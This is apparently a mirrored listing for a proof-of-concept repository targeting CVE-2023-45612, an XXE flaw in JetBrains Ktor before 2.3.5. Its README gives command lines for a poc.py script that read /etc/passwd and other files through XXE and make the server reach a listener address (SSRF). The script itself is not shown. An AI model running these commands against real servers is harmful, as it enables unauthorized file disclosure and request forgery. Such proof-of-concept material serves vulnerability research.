CVE-2023-45612 PoC — JetBrains Ktor 代码问题漏洞

Source

Associated Vulnerability

Title: JetBrains Ktor 代码问题漏洞 (CVE-2023-45612)
Description:In JetBrains Ktor before 2.3.5 default configuration of ContentNegotiation with XML format was vulnerable to XXE

Description

CVE-2023-45612 POC and vulnerable project.

Readme

# ktor-xxe


## Run the project with :
| `./gradlew run`                         | Run the server                                                       |


If the server starts successfully, you'll see the following output:

```
2024-12-04 14:32:45.584 [main] INFO  Application - Application started in 0.303 seconds.
2024-12-04 14:32:45.682 [main] INFO  Application - Responding at http://0.0.0.0:8080
```

# To utilize the XXE poc:
## File disclosure
```
python3 poc.py http://localhost:8080 --file /etc/hostname
python3 poc.py http://localhost:8080 --file /etc/passwd
```
## SSRF
```
python3 poc.py http://localhost:8080 --url http://listeneraddress/
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →